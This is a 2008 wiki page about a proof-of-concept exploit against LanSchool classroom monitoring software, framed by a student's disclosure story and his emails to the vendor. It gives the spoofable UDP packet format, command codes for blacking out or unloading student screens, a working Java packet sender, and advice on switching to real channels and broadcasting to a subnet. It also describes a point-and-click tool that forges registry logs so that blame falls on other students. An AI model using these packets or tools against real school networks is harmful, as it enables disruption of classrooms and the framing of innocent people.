LanSchool

From Compsci.ca Wiki

(Difference between revisions)
Jump to: navigation, search
(Removed LanSchool logo)
Line 1: Line 1:
'''NOTE:''' This page detials a proof of conspect expolite of the lanschool program. CompSci.ca and [[Hacker Dan]] do not support, condone or recomend the use of it in real life (So don't send us e-mails asking how to get it working or how to hack your schools network). Also since this expolit was found and lanschooled was created, lanschool has upgraded there software so it may no longer be expolitable from the attack desrcibled on this page. CompSci.ca and [[Hacker Dan]] will not help you expolite new versions of the software so do not e-mail us asking how. All information is provided as is and we are by no means resoable for how you use it or the effects it may have on you, your computer or anything that happens to you as a result of reading this page or using the software on and linked to from it.
'''NOTE:''' This page detials a proof of conspect expolite of the lanschool program. CompSci.ca and [[Hacker Dan]] do not support, condone or recomend the use of it in real life (So don't send us e-mails asking how to get it working or how to hack your schools network). Also since this expolit was found and lanschooled was created, lanschool has upgraded there software so it may no longer be expolitable from the attack desrcibled on this page. CompSci.ca and [[Hacker Dan]] will not help you expolite new versions of the software so do not e-mail us asking how. All information is provided as is and we are by no means resoable for how you use it or the effects it may have on you, your computer or anything that happens to you as a result of reading this page or using the software on and linked to from it.
-
[[Image:Lanschool.JPG|thumb]]
 
==What is LanSchool==
==What is LanSchool==
[[Image:Taskbar.JPG|thumb|What it looks like]]
[[Image:Taskbar.JPG|thumb|What it looks like]]

Revision as of 01:45, 8 August 2008

NOTE: This page detials a proof of conspect expolite of the lanschool program. CompSci.ca and Hacker Dan do not support, condone or recomend the use of it in real life (So don't send us e-mails asking how to get it working or how to hack your schools network). Also since this expolit was found and lanschooled was created, lanschool has upgraded there software so it may no longer be expolitable from the attack desrcibled on this page. CompSci.ca and Hacker Dan will not help you expolite new versions of the software so do not e-mail us asking how. All information is provided as is and we are by no means resoable for how you use it or the effects it may have on you, your computer or anything that happens to you as a result of reading this page or using the software on and linked to from it.

Contents

What is LanSchool

What it looks like

LanSchool is trojan horse type program that is used by many school boards in Ontario to spy on their students as well as controlling one or all computers in a given lab. It is another example of the school boards spending money on software that they could get for free, with the free version even being of higher quality. LanSchool has many flaws in its design, and thus many security holes, which will be mentioned below.

The LanSchool website: http://www.lanschool.com/


The Story

The Story as told by Hacker Dan:

During Grade 12, I changed schools, and the new school that I went to had substantially better computing facilities. I thought this was a good thing, but after playing around for a bit, I noticed a little green icon in the system tray that did not seem to do anything. Looking in to this, I found out that it was a program named LanSchool (http://www.lanschool.com/). What is LanSchool you ask? The name makes it sound innocent enough, maybe something to help students? Well, it may have started out that way but what it has become is basically a Trojan horse program for teachers to use to watch everything that you are doing (inducing watching your screen) as well as giving them the ability to control your computer or all computers in the lab at the same time. As usual, the school board decided to spend money on something they could get for free and got a crappier version than what they could have got for free.

So I started looking in to LanSchool more and found a demo version on their site. This demo version could not interact with real versions that the school used and would not allow students to do any damage. 1st, I looked in to how it used the registry of the computers that it was on, and found that every time the teacher application sent a command to the student versions it recorded which windows user sent the command, the computer name of the computer that they were on and the time in all registries of every computer on the network. This meant that finding a full version of the software, although not hard, would end you up in a lot of trouble unless you brought your own computer to school and even then still could.

So I began to look at the packets it was sending and to my shock they were UDP and not TCP and they had no encryption or coding to them at all. This means that it is extremely easy to spoof the packets. So I quickly wrote up a simple java program to test out my theory. After some time and experimentation, I decoded what most of the packets meant and was able to control the demo version of LanSchool. After looking more at the packets, I noticed that the differences between the demo version and the real version was that the demo version uses only one channel that is never used by the real version. So it was simple a matter of changing the channel byte to a real channel in the packet to get it to work with most, if not all, versions of LanSchool. Also this allowed me to make the registry logs say what ever I wanted, including blaming other students for the hack.

Now being the nice guy that I am, I emailed my findings to LanSchool and suggested several ways to fix this exploit. There responses basically said that they would rather spend their time and effort enforcing the rules of the school and the law than fixing their program. They even made threats of legal action as well as suspensions that I could get were I to use this program. So next, I went to my school and actually demonstrated (with their permission) the exploit and how insecure the product was. Again, nothing happened as a result of my efforts, so a month later, I published how the system worked on compsci.ca.

It is now almost 2 years later, so I have rewritten my hack so anyone, even script kiddies can use it, even with a nice GUI and everything. My hope is that by doing this, I will teach people why programming software in the same way that LanSchool has been written is bad from a security and integrity viewpoint and to encourage the school board to buy (if they must use such software) better software from companies that know what they are doing and are willing to keep with the times. BTW, LanSchools website still claims that there are no known bugs with LanSchool.


Communications with LanSchool

Feb. 26th, 2006

To: LanSchool
From: Hacker Dan

Hello, I am writing to let you know that you have a security flaw in your software, LanSchool v6.5. As with past versions of LanSchool, the system is not secure and uses a communication mechanism that allows for manipulation by anybody on a network whether they have the teacher version of the software installed or not. This becomes even more concerning when you see that this allows the exploiter to manipulate logs that are stored in the registry to what ever they want by manipulating communication appropriately. This would allow some students to exploit the network and then make it look like another student committed the attack from what ever computer they chose.

Also the scope of this exploit would go beyond affecting one computer or on lab at a time. With a little thought the exploiter could affect all computers in a school running the software by rotating threw the channels. Or even worse, the attack vector could be used to affect all LanSchool installs on the network that are not protected by a firewall.

My recommendation would be to add some level of security to the UDP packets used to communicate to the computers, like a password that is encrypted (through the use of a digest hashing algorithm, such as MD5) and then validate it on the client end agent using a password that it has been installed with. This would make the system as secure as the password and associated storage mechanism and encryption and would only require the installer of the software to add in one more text field. You could still use the UDP protocol with minimal modification to your code.




The Packet

This is what the UDP packet looks like:

Mode | Version | Channel |00 or DF |DA | D1| ___data here__|__log info__|

Mode is basically the command that you are send. So far, I have found a lot of them. Here are some examples:

  • 00 - Start broadcast of screens
  • 04 - Restore computer screens
  • 07 - Black all screens
  • 08 - Unload Lanschool or just make it lock.



The verson corresponds to the verson of Lanschool that you are running. Versons 5.x seem to like 01, 02 seems to be for 6.x

The channel area is prity simple, it is the channel number. The demo verson uses channel FF in hex or 255 in decimal.

The next 3 bytes are kind of hard to figgure out, but seem to always be the same for the same verson of Lanschool. For 5.x and the low 6.x's the 1st byte here should be 00 for 6.5 and some others it should be DF in hex. The other 2 seem to always be the same.

The data area is data for that command, some commands do not need this, for example, black all screens.

The log area is where Lanschool puts the name of your computer and then your account username. This area also has a lot of useless 00 bytes that just take up space.

Application of the packet

The following is a very simple Java application that will take advantage of the above information to black screens for the demo version of 6.5 of Lanschool only on the computer that you are using. To send it to all computers in a network you would need to use a destination mask that broadcasts to a subnet.

public class LanHack {

  public static void main(String args[])
  {
     try
     {
        InetAddress ipaddr=InetAddress.getByName("120.0.0.1");
        DatagramSocket mysocket=new DatagramSocket();
        byte sendbuf2[] = {(byte)0x07,(byte)0x02,(byte)0xff,(byte)0x3f,(byte)0xda, (byte)0xd1};
        DatagramPacket sendPacket2 = new DatagramPacket( sendbuf2, sendbuf2.length, ipaddr, 796);   
        mysocket.send(sendPacket2);
     }catch(Exception e){}
  } 

}

Note that for a lesser verson of Lanschool, you would have to chage the 0x3f to 0x00 and possibly 0x02 to 0x01 or another number. Also, this is set to the demo channel 0xff and if you wanted to send to a real verson, then you would have to set it to 0xChannelNumberInHex.

LanSchooled

LanSchooled Screen Shot

I used all this knowledge to make a point-and-click Lanschool hacking tool that can help you understand how the attack works. Remember that this is only for educational use and should not be used for evil purposes. I therefore take no responsibility for what you do with it. With that aside, I only tested it on the demo verson but i would like to hear from people who got it to work on other versions.

How to use

The top frame shows the packet that will be sent, you can use the easy set up buttons below it to set the packet to do what you want. The times bar will let you say how many times that you want to send out the packet.

Setting the channel to "ALL" will send to all possible Lanschool channels, including the demo one. Seting the version to "9" will send verson 2, but with 0x00 rather then 0xdf. Setting to "2" will send verson 2 but with 0xdf. All other verson numbers send their respective verson and 0x00.

The log info lets you set what you want the name and computer name to be in the registry logs of the computers affected. I would strongly recommend that people do not expoit this to get others in trouble since that is morally wrong.

You must hit send to transmit the packet. The easy set up buttons just configure the packet that you are going to send.

Where to get

Personal tools